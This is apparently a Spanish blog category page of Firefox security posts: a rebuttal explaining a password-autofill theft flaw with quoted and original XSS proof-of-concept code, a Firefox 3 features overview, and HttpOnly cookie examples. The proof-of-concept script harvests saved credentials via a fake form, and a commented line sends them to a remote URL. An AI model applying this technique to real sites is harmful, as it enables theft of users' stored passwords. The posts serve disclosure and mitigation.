Entradas en la categoría: Firefox

Firefox y el robo de contraseñas

Actualización: Al parecer Firefox 2.0.0.6 RC1 y RC2 corrigen entre otras cosas, la ejecución remota de programas y esta vulnerabilidad.

A través de menéame, llegué a leer un artículo en el que intentan minimizar el impacto de la vulnerabilidad que permite el robo de contraseñas en Firefox. Haré algunos comentarios citando partes del contenido (negritas agregadas intencionalmente):

Veamos la demostración que nos proponen realizar:
http://www.heise-security.co.uk/services/browsercheck/demos/moz/pass1.shtml

[…]

No hay dudas de que la demostración realiza esto en caso de que hayamos indicado a Firefox que recuerde nuestra contraseña el momento de ingresarla. Sin embargo la demostración se está realizando en el mismo dominio y subdominio. Que sentido tiene esto si estamos en el mismo sitio? Acaso el sitio se roba a su propio sitio?

Para explotar esa vulnerabilidad de Firefox, sólo basta encontrar un bug XSS en cualquier parte de ese dominio (ver demo más abajo).

Ahora veamos el código del formulario de la demostración:

<form method=”get” action=”#” name=”passtest”>
<input type=”text” name=”name”/>
<input type=”password” name=”password”/>
<input type=”submit” value=”submit”/>
</form>

Si vemos el código fuente de la “evil page”, vemos un formulario similar con los mismos nombres de campos que el anterior.

Al ingresar los datos en el formulario de la demostración, se verá la siguiente URL tanto en Firefox como en Opera y IE7:

http://www.heise-security.co.uk/services/browsercheck/demos/moz/pass1.shtml?name=miusuario&password=micontrase%F1a#

Para que es necesaria una “evil page” que revele las contraseñas si estas están siendo ya reveladas en la URL? Solo vean la barra de direcciones.

Por otro lado, yo me pregunto: acaso algún sitio serio va a implementar un sistema de contraseñas sin utilizar SSL? Es una locura, además sería responsabilidad del sitio que lo implementa y no del navegador. Ningún sitio en serio implementará contraseñas de ese tipo.

El redactor interpreta mal la prueba de concepto, porque en nigún momento usa la URL para obtener las credenciales, usa el siguiente script:

<script>
// setTimeout("dosubmit()", 1000);
setTimeout("doit()", 1000);

function dosubmit()
{
  document.passtest.submit();
}

function doit()
{
   name = document.passtest.name.value;
   password = document.passtest.password.value;
   alert("Your username is: " + name + " and the password is: " + password);
   //document.location = "http://www.heise.de/security/dienste/browsercheck/demos/nc/psteal2.php?name=" + name + "&password=" + password;
}

</script>

Por otro lado, para explotar esta vulnerabilidad dá lo mismo si se usa SSL o no.

También me pregunto: es esta una demostración real o un simple truco? La demo corre en el mismo dominio y mismo subdominio. Si creamos una “evil page” en otro servidor, la demostración no funcionará.

Aparentemente el redactor no captó bien lo que se comenta en la página que describe ese bug o entendí mal sus palabras y no está consciente de los peligros de Cross Site Scripting. Preparé un pequeño demo en el que se simula que la página tiene una vulnerabilidad XSS y se hace uso de ésta para mostrar las credenciales almacenadas en Firefox:

<?php header('Content-Type: text/html; charset=utf-8;'); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>Firefox Demo</title>	
</head>

<body>
	<?php
	if ( isset($_GET['evil']) ) :
		/* Página vulnerable a XSS, podría ser cualquier página del dominio 
		   para el que se guardan las credenciales */
		// echo $_GET['evil']; 
		echo '<script src=http://codeout.org/wp-content/uploads/j.js></script>';
	else : ?>
    <form method="post" action="login.php">
	    <input type="text" name="usr" />
		<input type="password" name="pass" />
		<input type="submit" name="login" value="Login »" />
	</form>
	<?php endif; ?>
	
</body>

</html>

El parámetro evil sirve para emular un bug XSS (por motivos de seguridad no envío ningún valor de evil al navegador), usando este parámetro se podría cargar el siguiente script en una página vulnerable:

_c = function (tag, attr) {
	el = document.createElement(tag.toUpperCase());
	if (attr) for(k in attr) el[k] = attr[k];
	return el;
}
// Crear un formulario con los mismos nombres
var form = _c('form');
var user = _c('input', {type:'text', name:'usr'});
var pass = _c('input', {type:'password', name:'pass'});

form.appendChild(user);
form.appendChild(pass);
document.body.appendChild(form);

function showCredentials() {
	alert('Usuario: ' + user.value + ' -- Password:' + pass.value)
}

setTimeout("showCredentials()", 1000);

Esta prueba de concepto fue ejecutada con éxito en Firefox 2.0.0.5 y Windows XP (SP2), para reproducir este error primero tienen que guardar la contraseña para el siguiente formulario, si quieren ver vuestras credenciales almacenadas accedan a http://test.buayacorp.com/login.php?evil o http://test.buayacorp.com/fx.html.

Lo único acertado que veo en el artículo en cuestión, es la recomendación que se hace para establecer en false el valor de signon.prefillForms en la configuración de Firefox (about:config).

Las mismas personas que reportaron el problema de seguridad que involucraba tanto a Internet Explorer como a Firefox, esta vez muestran más vulnerabilidades que no sólo afectan a todas las versiones de Firefox, sino también a Netscape Navigator 9 y Mozilla.

Pruebas de concepto:

Segun el hilo publicado en sla.ckers.org, se vienen más problemas de este tipo.

#Permalink Comentarios (3) Firefox, Miniposts

Nuevas características de seguridad en Firefox 3

#1 Mayor claridad en el seguimiento de URL`s

Barra_firefox_3

Esto ayudara a identificar mejor las direcciones donde nos encontramos (por así decirlo mejora contra ataques de phishing).

#2 Técnicas de detección de malware & páginas potencialmente peligrosas

firefox

En este aspecto Firefox no innova demasiado y ejecutas acciones predeterminadas para ejecutable (para usuarios despistados) y tratamiento sobre controles activeX. Para detección de páginas potencialmente peligrosas Firefox seguirá como desde la versión 1.5. Listara la página que visitemos, la comparara con una lista negra (elaborada en colaboración con google) y si la página esta listada como “negra” automáticamente generara un aviso en forma de ventana emergente como se puede apreciar en la imagen.

#3 Más claridad con los certificados de seguridad (SSL)

larry-041.png

Parece ser que este sera el aspecto de la interfaz de FF3 cuando nos encontremos ante una página con certificados de seguridad, mayor transparencia que nos permitirá ver con toda la información que acredita al cifrado (si ya se que ahora también se puede pero así queda mucho más claro).

Además de cientos de novedades… mejora la gestión de memoria (lo he podido comprobar con las últimas versiones alpha´s) interfaz gráfica mucho más atractiva, el lanzamiento esta planeado para septiembre de este año según leí.

Firefox 2.0.0.5 finalmente implementa las cookies HttpOnly

Un poco antes de lo esperado, esta última actualización de Firefox (2.0.0.5), finalmente incluye el soporte para cookies HttpOnly.

Ejemplos de uso en ASP.NET y PHP:

<%@ Page Language="C#" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script runat="server">

    protected void Page_Load(object sender, EventArgs e)
    {
        Response.Cookies["Demo"].Value = "Prueba";
        Response.Cookies["Demo"].Secure = true;
    }
</script>

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>HttpOnly Firefox 2.0.0.5</title>
    <script type="text/javascript">
    alert(document.cookie);
    </script>
</head>
<body>

</body>
</html>
<?php

// PHP 4
setcookie('foo', 'test', null, '/;HttpOnly');
/*
PHP 5

setcookie('foo', 'test', null, null, null, true);
// o
ini_set("session.cookie_httponly", 1);
// o
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
*/

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>HttpOnly Firefox 2.0.0.5</title>
	<script type="text/javascript">
	    //<![CDATA[
	    alert(document.cookie)
	    //]]>
	</script>
</head>
</html>

Como mencioné anteriormente, esta característica no es la panacea para evitar el robo de cookies a través de XSS, pero por lo menos reducirá un poco los vectores de ataque.

Nació un nuevo Planeta Firefox, aunque no sé que tanto se pueda escribir sobre Firefox, este pequeño blog está en la lista de colaboradores.

Si desean formar parte de ese planeta, escriban a alex@planetafirefox.com.

#Permalink Comentarios (2) Firefox, Miniposts